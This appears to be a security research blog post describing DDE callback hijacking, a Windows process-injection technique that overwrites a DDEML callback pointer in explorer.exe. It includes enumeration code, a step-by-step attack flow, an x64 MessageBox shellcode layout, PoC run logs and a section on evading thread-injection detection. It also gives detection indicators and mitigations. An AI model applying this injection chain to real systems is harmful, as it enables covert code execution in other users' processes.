DDE Callback Hijacking: A Process-Injection Target in DDEML Internals
1. Background: What is DDE?
Dynamic Data Exchange (DDE) is a legacy Windows IPC protocol that lets applications communicate through window messages. Introduced in Windows 2.0 (1987), it was technically superseded by OLE/COM decades ago but remains enabled in Windows 11 for backward compatibility.
Every DDE operation maps to one of nine window messages:
| Message | Purpose |
|---|---|
WM_DDE_INITIATE | Discover servers (broadcast to all windows) |
WM_DDE_EXECUTE | Send command string to server |
WM_DDE_POKE | Push unsolicited data to server |
WM_DDE_DATA | Server sends data to client |
WM_DDE_ADVISE | Establish persistent data link |
WM_DDE_REQUEST | Request an item value |
WM_DDE_ACK | Acknowledgment |
WM_DDE_UNADVISE | End data link |
WM_DDE_TERMINATE | End conversation |
The DDE Management Library (DDEML) in user32.dll wraps the raw message protocol with a callback-based API. Instead of manually crafting WM_DDE_* messages, applications call DdeInitialize and register a callback function that receives all DDE transactions:
1
2
3
4
5
UINT result = DdeInitializeA(
&ddeInstance,
MyCallbackFunction, // <-- function pointer: the target
APPCLASS_STANDARD,
0);
Existing offensive research on DDE splits in two. The Office-document angle, WM_DDE_EXECUTE command execution (MITRE ATT&CK T1559.002), is unrelated to what follows. The directly relevant work is odzhan/modexp’s 2019 Breaking BaDDEr, which already targets exactly the structure this post does: it overwrites the DDEML callback (pfnCallback) inside the undocumented CL_INSTANCE_INFO / WDML_INSTANCE instance struct to get code execution in explorer.exe. So the target is not new, and I am not claiming it is. What this post adds is incremental. Instead of odzhan’s DDEMLMom mother window, I reach the same field by walking the per-conversation DDEMLUnicodeServer / DDEMLAnsiServer windows (EWM[0] → tagCONV_INFO+0x008 → tagCL_INSTANCE_INFO+0x040). On top of that: an XTYP_EXECUTE trigger, dynamic offset resolution, and a closer look at the GetWindowLongPtr read as a win32k-serviced pointer disclosure. Treat this as a refinement of a known 2019 technique, not a new primitive and not a new target.
2. DDEML Internals: Where the Callback Lives
The WDML_INSTANCE Structure (Wine/ReactOS reconstruction)
This table is the Wine/ReactOS layout, reproduced for illustration only. The real Windows 11 layout differs (see “Real Windows vs. Wine/ReactOS” below), and the PoC does not use these offsets. It resolves them dynamically. Do not walk these offsets against a live Windows target.
By analyzing the Wine and ReactOS open-source implementations of DDEML, I reconstructed the internal WDML_INSTANCE structure that Windows allocates for each DdeInitialize call:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
WDML_INSTANCE (Wine/ReactOS reconstruction, illustration only)
═══════════════════════════════════════════════
+0x00 WDML_INSTANCE* next
+0x08 DWORD instanceID
+0x0C DWORD threadID
+0x10 BOOL monitor
+0x14 BOOL clientOnly
+0x18 BOOL unicode
+0x1C BOOL win16
+0x20 HSZNode* nodeList
+0x28 PFNCALLBACK callback ◄── Wine offset (NOT the live Windows offset)
+0x30 DWORD CBFflags
+0x34 DWORD monitorFlags
+0x38 DWORD lastError
+0x40 HWND hwndEvent (8-byte aligned: +0x3C padded to +0x40)
+0x48 DWORD wStatus
+0x50 WDML_SERVER* servers (8-byte aligned: +0x4C padded to +0x50)
+0x58 WDML_CONV* convs[2]
+0x68 WDML_LINK* links[2]
The PFNCALLBACK field sits in a user-mode heap allocation with no integrity protection. A process holding a handle with PROCESS_VM_WRITE | PROCESS_VM_OPERATION can overwrite it with WriteProcessMemory.
Extra Window Memory: a cross-process pointer disclosure
DDEML creates hidden windows for each instance and conversation. These belong to classes like DDEMLAnsiServer and DDEMLUnicodeServer, and they allocate Extra Window Memory (EWM) to store internal pointers:
1
2
#define GWL_WDML_INSTANCE 0 // EWM offset 0
#define GWL_WDML_CONVERSATION sizeof(ULONG_PTR) // EWM offset 8 (x64)
In practice this technique only ever reads EWM[0] (the slot at offset 0); the conversation slot is shown for completeness. Any process at the same (or higher) integrity level as the target window can call:
1
LONG_PTR ptr = GetWindowLongPtr(hwndDDE, 0);
This returns the pointer value stored in the target’s window memory. That is a genuine cross-process pointer disclosure, and an ASLR defeat into the bargain. The read is serviced by win32k in the kernel and does not call OpenProcess, so it raises no process-handle (ProcessAccess) telemetry and does not surface in the ETW Threat-Intelligence provider.
Two precisions matter here:
- You obtain the pointer value, not the memory it points to. To follow it into the target’s heap you still need
ReadProcessMemory(i.e. a handle withPROCESS_VM_READ). - UIPI applies: a lower-integrity process cannot read EWM from a higher-integrity window. Reading
explorer.exe(medium IL) from a medium-IL process works; low→high does not.
Real Windows vs. Wine/ReactOS
The actual Windows 11 implementation differs from Wine’s layout. I first reconstructed it by raw memory scanning and pattern matching against known values (HWND, PID, code pointers), then confirmed it by disassembling user32.dll:
EWM[0]on aDDEMLUnicodeServer/DDEMLAnsiServerwindow holds a pointer to the conversation structure (tagCONV_INFO);user32!DDEMLServerWndProcreads it withGetWindowLongPtr(hwnd, 0).- That conversation structure holds a heap pointer at
+0x008to the instance structure (tagCL_INSTANCE_INFO);SvSpontExecutedereferencesconv + 0x08to reach it. - The instance structure holds the
PFNCALLBACKat+0x040;user32!DoCallbackloads it asmov rax, [instance+0x40]. That single field is what this technique overwrites. - The chain
EWM[0] → +0x008 → +0x040is consistent across both my controlled victim andexplorer.exe.
Because the absolute layout varies between Windows builds, the PoC uses dynamic resolution (module-aware scanning, §4) rather than hardcoded offsets.
3. Enumerating DDE Attack Surface
Before injecting, I need to find processes that have active DDEML instances. I built several enumeration tools.
DDE Server Enumeration
dde-enumerator uses DdeConnectList with wildcard parameters to discover all active DDE servers:
1
2
3
4
5
6
7
8
9
10
11
// Wildcard connect discovers all services and topics
HCONVLIST hList = DdeConnectList(inst, 0, 0, 0, NULL);
HCONV hConv = 0;
while ((hConv = DdeQueryNextServer(hList, hConv)) != 0) {
CONVINFO ci = {0};
ci.cb = sizeof(ci);
DdeQueryConvInfo(hConv, QID_SYNC, &ci);
// ci.hszSvcPartner = service name
// ci.hszTopic = topic name
// ci.hwndPartner = server window HWND
}
DDE Window Discovery
The DDEML conversation windows are message-only (children of HWND_MESSAGE), so they do not appear in EnumWindows. I use four strategies in cascade:
EnumWindowsfinds the top-level and owning windows that have Extra Window Memory. It does not surface the conversation windows themselves; it only seeds the per-thread scan in #3.FindWindowEx(HWND_MESSAGE, …)enumerates message-only windows, which is where the conversation windows actually live.EnumThreadWindowsenumerates windows per-thread for each thread in the target.- Direct DDE connection to a known service/topic, then read the server HWND from
DdeQueryConvInfo.
Strategy #4 is the most reliable: DDEML creates the per-conversation DDEMLAnsiServer/DDEMLUnicodeServer window only when a client connects, and I get its HWND directly from the conversation info. Note that DdeConnect requires both a service and a topic HSZ:
1
2
3
// service AND topic are both required
HCONV hConv = DdeConnect(inst, hszService /* "Folders" */,
hszTopic /* "AppProperties" */, NULL);
System-Wide DDE Monitor
DDEML includes a diagnostic mode (APPCLASS_MONITOR) that receives all DDE traffic system-wide via XTYP_MONITOR transactions:
1
2
3
DdeInitialize(&inst, callback,
APPCLASS_MONITOR | MF_CALLBACKS | MF_CONV | MF_SENDMSGS | MF_POSTMSGS,
0);
This gives complete visibility into DDE conversations, service names, topics, and data exchanges. Handy for reconnaissance before injection.
Default DDE Servers on Windows 11
On a stock Windows 11 installation, explorer.exe exposes multiple DDE servers:
| Service | Topic | Module |
|---|---|---|
Progman | Progman | SHELL32.dll |
Folders | AppProperties | SHELL32.dll |
Microsoft Excel, when open, exposes additional servers (Excel, System). Any application using DDEML is a potential target.
4. The Technique: DDE Callback Hijacking
Attack Flow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Attacker Process Target Process (DDEML active)
│ │
│ 1. DdeConnect("Folders","AppProperties") │
│ ──────────────────────────────────► │ Creates DDEMLUnicodeServer window
│ DdeQueryConvInfo → server HWND │
│ │
│ 2. primary = GetWindowLongPtr(hwnd, 0) │
│ ──────────────────────────────────► │ [Extra Window Memory]
│ returns pointer VALUE (EWM[0]) │ offset 0 = primary struct ptr
│ │
│ 3. linked = ReadProcessMemory(primary+0x008)
│ ──────────────────────────────────► │ follows heap pointer
│ orig = ReadProcessMemory(linked+0x040) │ → callback = 0x7FF80369B270
│ │
│ 4. VirtualAllocEx + WriteProcessMemory │
│ ──────────────────────────────────► │ [shellcode @ 0x02EE0000]
│ (PROCESS_VM_OPERATION|VM_WRITE) │ *** raises ProcessAccess / ETW-TI events ***
│ │
│ 5. WriteProcessMemory(linked+0x040) │
│ ──────────────────────────────────► │ callback = 0x02EE0000 (shellcode)
│ overwrite PFNCALLBACK │
│ │
│ 6. DdeClientTransaction(XTYP_EXECUTE) │
│ ──────────────────────────────────► │ DDEML invokes server callback()
│ (synchronous: blocks until ACK) │ → SHELLCODE EXECUTES on the
│ │ target's DDEML thread
│ │
│ 7. WriteProcessMemory(linked+0x040) │
│ ──────────────────────────────────► │ callback = 0x7FF80369B270 (restored)
│ restore original callback │
A few mechanics worth making explicit:
- Why it fires. The attacker is the DDE client; the victim is the DDE server. A client
DdeClientTransaction(XTYP_EXECUTE)makes DDEML invoke the server-side callback (thePFNCALLBACKI overwrote) inside the victim process. That is the code-execution primitive. - Where it runs. The callback executes on the target thread that owns the DDEML instance, when that thread next dispatches messages. If that thread is not pumping messages, the trigger stalls.
- Why the restore is safe. A synchronous
DdeClientTransactionblocks until the server ACKs or times out, so by the time step 7 runs the callback has already fired. If you switch toTIMEOUT_ASYNC, step 7 races the callback, so don’t. - The detection seam. Step 4 (
VirtualAllocExof RWX +WriteProcessMemory) is the loud part: it opens a handle withPROCESS_VM_OPERATION | PROCESS_VM_WRITEand writes cross-process, which raises process-handle (ProcessAccess) telemetry and can surface in the ETW Threat-Intelligence provider. TheGetWindowLongPtrdisclosure in step 2 is the only genuinely quiet step.
Module-Aware Callback Detection
The callback offset varies between Windows builds, so instead of hardcoding it the PoC uses module-aware scanning:
- Enumerate all loaded modules in the target via
EnumProcessModules(≈379 modules forexplorer.exe). - Dump the structure referenced by
EWM[0](512 bytes). - Phase 1: scan the primary structure for code pointers; classify each by the module it belongs to.
- Phase 2: follow every heap pointer one level deep; scan linked structures for code pointers.
- Selection priority:
- P1: module-matched code pointer from a linked structure (most likely the callback).
- P2: module-matched code pointer from the primary structure.
- P3: non-base code pointer (lower 12 bits ≠ 0, i.e. not page-aligned) from a chain.
- P4: any non-base code pointer.
- Verify the candidate with a function-prologue check.
This reliably identifies the callback across processes and builds without prior knowledge of the layout.
5. Implementation: The PoC
dde-callback-hijack-poc.c supports three payload modes for incremental testing:
| Flag | Payload | Purpose |
|---|---|---|
--nop | xor eax,eax; ret (3 bytes) | Mechanism validation: does the callback get invoked? |
--beep | Beep(750, 300) (33 bytes) | Audible proof of code execution |
--execute | MessageBoxA(...) (81 bytes) | Visual proof: dialog appears in the target process |
Returning NULL from the hijacked callback (xor eax,eax) is a valid HDDEDATA for XTYP_EXECUTE, so the target does not fault when the payload returns.
MessageBox Shellcode (x64)
The shellcode is 81 bytes, position-independent, with the MessageBoxA address patched at runtime:
1
2
3
4
5
6
7
8
9
10
11
12
+0x00 sub rsp, 0x28 ; 32B shadow space + 8B so RSP is 16-aligned at the call
+0x04 xor ecx, ecx ; hWnd = NULL
+0x06 lea rdx, [rip+0x1D] ; lpText → "DDE Callback Hijacked!" (resolves to +0x2A)
+0x0D lea r8, [rip+0x2D] ; lpCaption → "PoC - Injected!" (resolves to +0x41)
+0x14 xor r9d, r9d ; uType = MB_OK
+0x17 mov rax, <MessageBoxA> ; absolute address (patched)
+0x21 call rax
+0x23 xor eax, eax ; return NULL (valid HDDEDATA)
+0x25 add rsp, 0x28
+0x29 ret
+0x2A "DDE Callback Hijacked!\0" ; 23 bytes incl. NUL
+0x41 "PoC - Injected!\0" ; 16 bytes incl. NUL → total = 0x51 = 81 bytes
The stack math is ABI-correct: the callback is entered with RSP ≡ 8 (mod 16); sub rsp, 0x28 leaves RSP ≡ 0 (mod 16) so that after call rax pushes the return address, MessageBoxA is entered at the required RSP ≡ 8 (mod 16), with 32 bytes of shadow space below it. Both lea displacements were verified to land on the strings (+0x06+7 = +0x0D, +0x0D+0x1D = +0x2A; +0x0D+7 = +0x14, +0x14+0x2D = +0x41).
6. Test 1: Controlled Victim
A minimal DDEML server (dde-victim-server.exe) registers the VictimService service and prints all callback activity. Note that DdeNameService registers the service name; the TestTopic topic is matched in the server’s XTYP_CONNECT handler, not by DdeNameService:
1
2
DdeInitializeA(&g_ddeInst, VictimCallback, APPCLASS_STANDARD, 0);
DdeNameService(g_ddeInst, hszService, 0, DNS_REGISTER); // registers the SERVICE name
NOP test: mechanism validation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[+] PID: 5684
[+] Connected: 'VictimService'/'TestTopic' HWND=0x49010C
[+] EWM[0] = 0x22E6F7DCE50 (class 'DDEMLAnsiServer')
[+] Target module: 0x7FF6DB3A0000 - 0x7FF6DB3C8000 (160 KB)
[*] Phase 2: Linked structures
chain[+0x008]->0x22E6F7E31B0+0x040 = 0x7FF6DB3A1000 [*MODULE*]
[+] MATCH: Callback in target module at 0x7FF6DB3A1000
[+] Prologue: 48 89 5C 24 (valid)
[!] NOP MODE
[+] Shellcode: 3 bytes (NOP)
[+] Overwritten!
[+] Triggered in PID 5684!
[+] Restored: 0x7FF6DB3A1000
[+] Done!
Result: victim process alive and responding. The callback resolves inside the victim’s own image (0x7FF6DB3A1000, inside the module range 0x7FF6DB3A0000 to 0x7FF6DB3C8000), at linked + 0x040. Mechanism works.
Beep test: audible code execution
1
2
3
4
5
6
7
[+] MATCH: Callback in target module at 0x7FF6D3991000
[+] Prologue: 48 89 5C 24 (valid)
[!] BEEP MODE - Beep @ 0x7FF80458F7E0
[+] Shellcode: 33 bytes (BEEP)
[+] Triggered in PID 18560!
[+] Restored!
Result: audible beep from the victim process; victim alive and responding. Code execution confirmed.
MessageBox test: visual proof
1
2
3
4
5
6
7
8
9
[+] MATCH: Callback in target module at 0x7FF6D3991000
[+] Prologue: 48 89 5C 24 (valid)
[!] EXECUTE MODE - MessageBoxA @ 0x7FF803DECAC0
[+] Shellcode: 81 bytes (MessageBox)
[+] Overwritten!
[+] Triggered in PID 18560!
[+] Restored: 0x7FF6D3991000
[+] Done!
Result: MessageBox dialog appeared in the victim process context; victim alive and responding after cleanup.
7. Test 2: explorer.exe, the real target
The real test: injecting into a live system process I don’t control.
Analysis
1
2
3
4
[+] PID: 8928
[+] Connected: 'Folders'/'AppProperties' HWND=0x3504FA
[+] EWM[0] = 0x29A892F0 (class 'DDEMLUnicodeServer')
[+] 379 modules loaded. Main: Explorer.EXE [0x7FF74AA70000]
A note on the addresses above.
EWM[0]and the chain pointer print truncated to 32 bits (0x29A892F0,0x73E520) while the module and callback addresses in the same run are full 64-bit (0x7FF8…). That is a%x-instead-of-%pformat bug in the logger, not the technique: the injector dereferenced the full 64-bit pointers (as in the §6 victim run, e.g.0x22E6F7E31B0); only the console print was narrowed.
Code pointers were found in Windows.UI.Xaml.dll, dcompi.dll, dcomp.dll, FileExplorerExtensions.dll, and MSCTF.dll, but none was the DDE callback. Following the heap pointer at EWM[0]+0x008:
1
chain[+0x008]->0x73E520+0x040 = 0x7FF80369B270 [SHELL32.dll]
Explorer’s Folders DDE callback lives in SHELL32.dll (where the shell DDE server is implemented), at the same linked + 0x040 offset confirmed in Test 1. Prologue verification: 48 83 EC 28 (sub rsp, 0x28), a valid x64 entry point.
Beep injection
1
2
3
4
5
6
7
8
9
10
11
[+] BEST: 0x7FF80369B270 in SHELL32.dll (chain struct 0x73E520+0x40)
[+] Prologue: 48 83 EC 28
[!] BEEP MODE - Beep @ 0x7FF80458F7E0
[+] Shellcode: 33 bytes (BEEP)
[+] RWX: 0x2EE0000
[+] Overwriting callback -> 0x2EE0000
[+] Overwritten!
[+] Triggered in PID 8928!
[+] Restored: 0x7FF80369B270
[+] Done!
Explorer: alive, PID 8928, Responding=True.
MessageBox injection
1
2
3
4
5
6
7
8
9
10
11
[+] BEST: 0x7FF80369B270 in SHELL32.dll (chain struct 0x73E520+0x40)
[+] Prologue: 48 83 EC 28
[!] EXECUTE MODE - MessageBoxA @ 0x7FF803DECAC0
[+] Shellcode: 81 bytes (MessageBox)
[+] RWX: 0x2EE0000
[+] Overwriting callback -> 0x2EE0000
[+] Overwritten!
[+] Triggered in PID 8928!
[+] Restored: 0x7FF80369B270
[+] Done!
Explorer: alive, PID 8928, Responding=True.
The complete injection chain works against a live explorer.exe on Windows 11, with clean callback restoration and no process crash.
8. Where this evades EDR, and where it doesn’t
This technique evades thread-injection-centric detection, not EDR in general. It is worth being precise about which half is quiet, because the write phase is genuinely loud (see §9).
1. The execution trigger avoids the thread/APC ntdll hooks. EDR commonly hooks NtCreateThreadEx and NtQueueApcThread to catch injection. My control transfer is a DDE window message dispatched through win32k.sys, so those thread/APC hooks never fire. Caveat: this does not bypass ntdll hooks in general. Steps 4 and 5 still call VirtualAllocEx → NtAllocateVirtualMemory and WriteProcessMemory → NtWriteVirtualMemory, which are the most heavily hooked functions of all. The trigger is hook-free; the write is not.
2. No PEB modification. KernelCallbackTable injection modifies PEB->KernelCallbackTable, which some EDRs now monitor. I modify WDML_INSTANCE, an obscure DDEML heap structure no EDR tracks. The nearest catalogued technique is T1055.011 Extra Window Memory Injection, and the distinction matters. Classic EWM injection writes shellcode into a window’s own extra bytes and rides its window procedure; I use EWM only to locate a heap callback pointer I then overwrite. (KernelCallbackTable injection is catalogued separately as T1574.013; T1055.012 is Process Hollowing, not this.)
3. No remote thread creation. I never call CreateRemoteThread, NtCreateThreadEx, or QueueUserAPC. Code runs on the victim’s existing message-loop thread when it processes the DDE transaction, so there is no thread-creation event. This is the strongest evasion property of the technique.
4. Disclosure without OpenProcess. Finding DDE windows and reading their Extra Window Memory via GetWindowLongPtr is a window-manager operation serviced by win32k; it needs no OpenProcess and raises no process-access telemetry. That applies to the GetWindowLongPtr pointer leak only. Following that pointer with ReadProcessMemory to walk the structure does require a handle (PROCESS_VM_READ), and is visible (see §9).
9. Detection and Mitigations
The disclosure phase (step 2) is quiet; the injection phase (steps 4–5) is not. A defender’s leverage is almost entirely on the write.
Detection opportunities
| Indicator | Technique phase | Telemetry source |
|---|---|---|
GetWindowLongPtr on DDEMLAnsiServer/DDEMLUnicodeServer class windows | Reconnaissance | ETW win32k tracing |
Cross-process ReadProcessMemory targeting DDEML heap structures | Structure analysis | Process-handle (ProcessAccess) telemetry |
WriteProcessMemory to a heap address obtained from a DDE window’s EWM | Callback overwrite | Process-handle (ProcessAccess) telemetry |
VirtualAllocEx (PAGE_EXECUTE_READWRITE) followed by a DDE transaction | Shellcode staging | ETW / API monitoring + ETW Threat-Intelligence |
DdeInitialize with the APPCLASS_MONITOR flag | DDE surveillance | API monitoring |
The strongest behavioral signal is the chain: RWX VirtualAllocEx → WriteProcessMemory → DDE transaction, from the same process, against a process it has no reason to write to. The transient overwrite-then-restore of PFNCALLBACK (steps 5 and 7) is itself anomalous if the writes are observed.
Mitigations
These are cross-process tampering controls, not DDE settings. There is no DDE configuration that removes the callback pointer, so the structural fix is denying the cross-process write or the control transfer.
- UIPI / integrity separation. User Interface Privilege Isolation blocks both the EWM read and message delivery from a lower-integrity process to a higher-integrity window. Running sensitive processes at higher integrity defeats a low-IL attacker outright. (It does not stop same-integrity injection, e.g. the medium→medium
explorer.execase here.) - Process-tampering protection / PPL. Protected-process and hardened-handle protections make a
PROCESS_VM_OPERATION | PROCESS_VM_WRITEhandle to the target harder to obtain in the first place, which removes step 4–5. - Control Flow Guard. The callback is invoked through a CFG-guarded indirect call. In
user32!DoCallbackthe dispatch ismov rax, [instance+0x40](the very field this technique overwrites) followed bycall __guard_dispatch_icall, a guarded dispatch, not a barecall rax. CFG nonetheless does not stop the technique by default, for an instructive reason: the shellcode lives in a region the attacker allocated withVirtualAllocEx(PAGE_EXECUTE_READWRITE), and CFG treats dynamically-allocated executable memory as a valid call target. The guarded dispatch therefore validates the shellcode address and proceeds; the PoC succeeding proves the target was accepted, not that the call was unguarded. CFG only bites here when the attacker’s region cannot become a valid executable target in the first place: under Arbitrary Code Guard (ACG) / dynamic-code restriction, which blocks the RWX allocation, or under XFG, where the target must also carry a matching call-prototype hash that raw shellcode does not have. Net: the call site is guarded, plain CFG is insufficient, and ACG/XFG is the control that would actually break this. - Behavioral EDR rule on the RWX-alloc → remote-write → DDE-transaction chain above.
10. Conclusion
DDE is not just a document-macro vector. One internal DDEML structure, the WDML_INSTANCE callback pointer reachable across processes through Extra Window Memory, is a process injection surface that thread-injection-focused detection does not cover. This is the target odzhan’s 2019 Breaking BaDDEr first hit, and it sits in the same family as Extra Window Memory Injection (T1055.011): the same pivot through EWM, but you overwrite a DDEML heap callback instead of the window’s own extra bytes, and you trigger it with a client DDE transaction instead of a window-proc message. One honest caveat: classic EWM injection avoids WriteProcessMemory by writing into the window’s own extra bytes, whereas this technique uses a cross-process write, so it is not the stealthier of the two on the write. The write phase stays detectable. What is incremental here over Breaking BaDDEr is the access path and the framing of the disclosure, not the target.
Attribution & Status
- DDE/DDEML are Microsoft platform components; the
WDML_INSTANCEfield names are taken from the Wine and ReactOS open-source implementations and used here for illustration. The real Windows layout (tagCONV_INFO→tagCL_INSTANCE_INFO, callback at+0x040) was reconstructed empirically and then confirmed by disassemblinguser32.dll. - Prior art. Overwriting the DDEML
pfnCallbackinCL_INSTANCE_INFO/WDML_INSTANCEfor code execution was first published by odzhan/modexp in Windows Process Injection: Breaking BaDDEr (2019; PoC at odzhan/injection, catalogued as Unprotect U1201). That work owns the target and the core primitives: theGetWindowLongPtrExtra-Window-Memory read to locate the struct, theWriteProcessMemoryoverwrite of the callback, the DDE trigger, and the pointer restore. The broader family isT1055.011(Extra Window Memory Injection), with PowerLoader/EWMI and Hexacorn’s PROPagate as adjacent function-pointer-in-window-state techniques. - What this post contributes over Breaking BaDDEr is narrow, and I am labeling it as such: a different access path to the same field (per-conversation
DDEMLUnicodeServer/DDEMLAnsiServerwindows →tagCONV_INFO+0x008→tagCL_INSTANCE_INFO+0x040, versus odzhan’sDDEMLMomwindow), theXTYP_EXECUTEtrigger, dynamic module-aware offset resolution instead of hardcoded offsets, and the analysis of theGetWindowLongPtrread as a no-OpenProcess, win32k-serviced disclosure. Whether the specific offset chain or any non-explorer.exeDDEML host is genuinely first-published here, I am not asserting without a dedicated prior-art pass.

